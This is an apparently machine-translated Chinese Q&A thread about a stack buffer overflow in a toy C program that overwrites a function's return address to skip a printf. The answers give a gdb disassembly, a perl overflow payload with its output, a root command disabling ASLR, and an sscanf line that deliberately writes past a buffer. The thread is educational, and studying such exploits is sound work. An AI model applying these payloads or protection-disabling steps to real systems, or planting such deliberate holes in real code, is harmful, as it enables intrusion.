我刚刚写了一个C代码,如下所示:
#include<stdio.h>
#include<string.h>
void func(char *str)
{
char buffer[24];
int *ret;
strcpy(buffer,str);
}
int main(int argc,char **argv)
{
int x;
x=0;
func(argv[1]);
x=1;
printf("\nx is 1\n");
printf("\nx is 0\n\n");
}
请建议我如何跳过 printf(“\ nx是1 \ n”); 这一行。早些时候,我得到的线索是修改 ret 变量,该变量是函数 func 的返回地址。
您能否建议我如何更改上述程序中的返回地址,以便 printf(“\ nx是1 \ n”); 被跳过。
我发布了这个问题,因为我不知道如何更改返回地址。
如果你帮助我,那就太好了。
由于
答案 0 :(得分:16)
根据我的理解,您希望代码执行指令x=1;
,然后跳过下一个printf,这样它才会打印x is 0
。 没有办法做到这一点。
但是,可以做的是使func()擦除它自己的返回地址,这样代码就会直接跳转到printf("\nx is 0\n\n");
。这意味着跳过x=1;
。
这是唯一可能的,因为您发送到func()的任何内容都是通过cmd-line传递并直接复制到固定大小的缓冲区。如果您尝试复制的字符串大于分配的缓冲区,则可能最终会破坏堆栈,并可能覆盖函数的返回地址。
关于这个主题有很多关于this one的好书,我建议你阅读它们。
在 gdb 上加载你的应用程序并反汇编主函数,你会看到类似的东西:
(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>: lea 0x4(%esp),%ecx
0x08048412 <main+4>: and $0xfffffff0,%esp
0x08048415 <main+7>: pushl -0x4(%ecx)
0x08048418 <main+10>: push %ebp
0x08048419 <main+11>: mov %esp,%ebp
0x0804841b <main+13>: push %ecx
0x0804841c <main+14>: sub $0x24,%esp
0x0804841f <main+17>: movl $0x0,-0x8(%ebp)
0x08048426 <main+24>: mov 0x4(%ecx),%eax
0x08048429 <main+27>: add $0x4,%eax
0x0804842c <main+30>: mov (%eax),%eax
0x0804842e <main+32>: mov %eax,(%esp)
0x08048431 <main+35>: call 0x80483f4 <func> // obvious call to func
0x08048436 <main+40>: movl $0x1,-0x8(%ebp) // x = 1;
0x0804843d <main+47>: movl $0x8048520,(%esp) // pushing "x is 1" to the stack
0x08048444 <main+54>: call 0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>: movl $0x8048528,(%esp) // pushing "x is 0" to the stack
0x08048450 <main+66>: call 0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>: add $0x24,%esp
0x08048458 <main+74>: pop %ecx
0x08048459 <main+75>: pop %ebp
0x0804845a <main+76>: lea -0x4(%ecx),%esp
0x0804845d <main+79>: ret
End of assembler dump.
请注意,第二个 printf 调用的准备工作从地址0x08048449
开始。要覆盖func()
的原始返回地址并使其跳转到0x08048449
,您必须超出char buffer[24];
的容量。在此测试中,我使用char buffer[6];
来简化目的。
在 gdb 中,如果我执行:
run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
这将成功覆盖缓冲区并将return的地址替换为我希望它跳转到的地址:
Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
x is 0
Program exited with code 011.
(gdb)
我不会解释每一步的方法,因为其他人已经做得更好了,但是如果你想直接从cmd-line重现这种行为,你可以执行以下操作:
./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
请记住, gdb 向您报告的内存地址可能与我获得的内存地址不同。
注意:要使用此技术,您必须先禁用内核保护。但是,如果以下命令报告与0不同的任何内容:
cat /proc/sys/kernel/randomize_va_space
要禁用它,您需要超级用户访问权限:
echo 0 > /proc/sys/kernel/randomize_va_space
答案 1 :(得分:2)
来自func
的返回地址位于堆栈上,靠近其局部变量(其中一个是buffer
)。如果你想覆盖返回地址,你必须写过数组的末尾(可能是buffer[24...27]
但是我可能错了 - 如果你有buffer[28...31]
甚至buffer[24...31]
一个64位系统)。我建议使用调试器找出确切的地址。
BTW摆脱ret
变量 - 你没有做任何事情,它可能会混淆你的计算。
请注意,这种“缓冲区溢出漏洞”有点难以调试,因为strcpy
在遇到零字节时会停止复制内容,而要写入堆栈的地址可能包含这样的字节。这样做会更容易:
void func(char *str)
{
char buffer[24];
sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}
并将命令行上的地址作为十六进制字符串。这样可以更清楚地了解您正在尝试做什么,并且更容易调试。
答案 2 :(得分:-3)
这是不可能的 - 如果你知道编译器及其工作方式,生成的汇编代码,使用的库,架构,cpu,系统环境和明天的乐透号码,也是可能的。你有这方面的知识,你会很聪明,不要问。它有意义的唯一情况是有人尝试某种攻击,并且不要指望有人愿意帮助你。